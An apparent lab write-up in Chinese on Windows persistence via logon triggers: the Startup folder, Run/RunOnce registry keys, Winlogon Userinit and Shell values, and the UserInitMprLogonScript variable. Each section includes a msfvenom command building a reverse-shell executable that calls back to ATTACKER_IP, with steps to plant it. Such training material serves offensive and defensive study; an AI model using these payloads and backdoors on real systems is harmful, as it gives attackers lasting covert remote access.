启动文件夹

:::danger 每个用户都有一个文件夹 **<font style="color:#DF2A3F;">C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</font>**,您可以在该文件夹下放置要在用户登录时运行的可执行文件。攻击者只需在其中放置有效负载即可实现持久性。请注意,每个用户将只运行其文件夹中可用的任何内容。

如果我们想强制所有用户在登录时运行一个payload,我们可以同样的方式使用下面的文件夹 **<font style="color:#DF2A3F;">C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</font>**

:::

我们使用 MSF 创建有效负载:

  1. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

然后传输到目标后,将其复制到 **<font style="color:#DF2A3F;">C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</font>**

现在只要目标重新登陆我们就可以获取到 SHELL

Run/RunOnce

:::danger

您还可以强制用户通过注册表在登录时执行程序。您可以使用以下注册表项来指定要在登录时运行的应用程序,而不是将您的有效负载传送到特定目录:
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU仅仅适用于当前用户 HKLM适用于所有的用户

Run每次用户登陆,指定的任何程序都会运行 , <font style="color:rgb(33, 37, 41);">RunOnce</font>指定的程序只会执行一次

:::

我们利用 MSF 创建恶意文件
  1. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe

将其传输到目标,并开启注册表编辑器

然后我们在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run下创建注册表项,并指向我们的程序

利用登陆触发 - 图1

登陆

:::info

另一种在登录时自动启动程序的替代方法是滥用 Winlogon,这是一个在身份验证后立即加载用户配置文件的 Windows 组件

:::

Winlogon 使用下面的一些注册表项 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\可能很有趣来获得持久性:

  • Userinit指向 userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的外壳,通常是explorer.exe.

利用登陆触发 - 图2

我们利用 MSF 创建一个 SHELL:

  1. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe

将 SHELL 传输到目标并修改注册表内容

利用登陆触发 - 图3

当用户登陆时,我们就可以再次获取到 SHELL

登陆脚本

:::info

加载用户配置文件时要做的一件事userinit.exe是检查名为 UserInitMprLogonScript. 我们可以使用此环境变量将登录脚本分配给将在登录机器时运行的用户。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。 请注意,每个用户都有自己的环境变量;因此,您将需要分别为每个后门。

:::

利用 MSF 创建自己的 SHELL:
  1. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe

将其传输到目标并且修改注册表项

利用登陆触发 - 图4

:::info 此注册表项在 中没有等效项 HKLM,使您的后门仅适用于当前用户。

:::